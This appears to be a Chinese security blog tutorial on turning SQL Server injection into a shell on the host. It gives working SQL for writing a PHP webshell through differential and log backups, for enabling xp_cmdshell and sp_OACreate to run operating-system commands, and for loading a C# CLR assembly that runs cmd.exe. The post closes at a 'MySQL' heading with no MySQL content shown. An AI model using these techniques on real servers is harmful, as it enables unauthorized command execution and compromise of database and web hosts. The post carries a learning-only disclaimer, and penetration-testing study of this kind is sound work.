【网络安全】什么?你还不会通过SQL提权?(SQLServer篇)

发布于 2024-11-29  277 次阅读


使用的工具:

  1. SQLMap
  2. DBeaver

数据库

  • SQLServer(MSSQL)
  • MySQL

前言

本文主要介绍总结MySQLSQLServer这两个常见的数据库的提权方法(不涉及SQLMap)仅通过SQL → Shell,所以不会介绍通过SQL进行USER → ROOT的提权方式。MySQL自不必说,SQLServer在政府部门或教育部门的保有量还是相当可观的。本文结合主流的命令执行写入WebShell的提权方式,并结合不同的适用常见。

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!


SQLServer(MSSQL)

差异备份GetShell


  • 条件:
  • 需要Web目录写入权限
  • 存在堆叠注入

SQLServer差异备份只会备份上一次完整备份以来的数据变化,对于我们GetShell来说会存在很多不相干内容,故写入数据不能太大。实际上由于差异备份容易导致写入干扰程序执行的部分,所以有一定成功率,偶尔在成功写入后,无法执行代码

首先我们需要先创建一给新的完整备份,需要注意,MSSQL用户必须要有目录的写入权限,否则是没办法写入的。

backup database test to disk = 'E:\\phpstudy_pro\\WWW\\test\\upload\\bak.bak';--test是我当前数据库

补充

如果不知道路径或者找不到Web目录怎么办?可以通过如下指令查询目标路径下的文件:

EXEC master..xp_dirtree 'C:\',1,1

SQLServer的备份文件存储的数据主要是数据库结构不会直接存储SQL语句,所以我们需要先建立一个临时的表,在表中写入一句话

create table test (shell image);

创建完后,我们向shell列中写入代码

insert into test (shell) values (0x3C3F70687020706870696E666F28293B203F3E);--<?php phpinfo(); ?>

插入完后执行一次差异备份写入webshell

backup database test to disk='E:\\phpstudy_pro\\WWW\\test\\upload\\1.php' WITH DIFFERENTIAL,FORMAT;

可以看到除了写入的phpinfo外,还存在大量的无关数据。容易导致执行出错。

日志文件GetShell


  • 条件:
  • 需要Web目录写入权限
  • 存在堆叠注入
  • 需要数据库DBA权限

相较于差异备份,日志文件备份写入的文件无关内容较少写入执行成功率较高

日志文件备份差异备份存储的内容是一样的,只是备份的范围不同日志备份记录上次日志备份以来的事务和修改差异备份上次完整备份以来的变化。

和差异备份一样,先创建一个临时表用来写入shell

create table test (shell image);

执行一次日志备份

backup log test to disk = 'E:\\phpstudy_pro\\WWW\\test\\upload\\bak.bak' with init;

写入代码

insert into test (shell) values (0x3C3F70687020706870696E666F28293B203F3E);

在备份一次,写入webshell

backup log test to disk = 'E:\\phpstudy_pro\\WWW\\test\\upload\\phpinfo.php';

xp_cmdshell命令执行


  • 条件:
  • 需要Web目录写入权限
  • 需要数据库DBA权限
  • 存在堆叠注入

xp_cmdshell 是SQLServer中的一个扩展存储过程,它允许你在SQLServer中执行操作系统命令,由于安全性问题,默认为关闭状态

可以通过通过如下指令开启xp_cmdshell

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

开启后即可通过 xp_cmdshell 来执行指令

EXEC xp_cmdshell 'whoami';

sp_oacreate命令执行


  • 条件:
  • 需要Web目录写入权限
  • 需要数据库DBA权限
  • 存在堆叠注入

SP_OACREATE 也是SQLServer中的一个扩展存储过程,但它允许创建和使用COM对象,同样安全问题,一般默认关闭无回显

通过如下指令开启

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

执行CMD指令写入WebShell

DECLARE @shell INT;
EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT;
EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c "echo "<?php phpinfo(); ?>"" >> E:\\phpstudy_pro\\WWW\\test\\upload\\phpinfo.php';

注意:这个方法无回显

CLR命令执行


  • 条件:
  • 需要Web目录写入权限
  • 存在堆叠注入
  • 需要数据库DBA权限

CLR(Common Language Runtime)是.NET Framework的核心组件之一,它提供了一个运行时环境,用于执行.NET程序。从SQLServer 2005版本开始集成了CLR,这意味着你可以在SQLServer中执行基于.NET的代码

这个功能再SQLServer中默认关闭,可以通过如下指令开启

sp_configure 'clr enabled', 1
RECONFIGURE

再数据库中执行CLR代码需要先将数据库设置成可信

ALTER DATABASE test SET TRUSTWORTHY ON;--test是数据库名

打开Visual Studio新建一个SQLServer数据库项目

创建好后我们可以用C#写一个简单的程序,新建一个Process运行cmd.exe来执行指令,再通过SqlContext.Pipe.Send进行回显。

        var process = new Process(); process.StartInfo.FileName = "cmd.exe";
        process.StartInfo.Arguments = "/c " + cmd;
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.CreateNoWindow = true;
        process.Start();
        string output = process.StandardOutput.ReadToEnd();
        process.WaitForExit();
        SqlContext.Pipe.Send(output);

编译打包成dll动态链接库文件,需要上传我们先将目标dll转化为16进制码

随后利用如下指令导入程序集

CREATE ASSEMBLY [Database1]
    AUTHORIZATION [dbo]
    FROM 0x4D5A...
    WITH PERMISSION_SET = UNSAFE;

导入完成后创建存储过程

注意此处 SqlStoredProcedure1 StoredProcedures 为你的入口方法名和类名

CREATE PROCEDURE [dbo].[SqlStoredProcedure1]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[SqlStoredProcedure1]

创建存储过程后我们就能用 EXEC 来执行 SqlStoredProcedure1 这个函数了

MySQL篇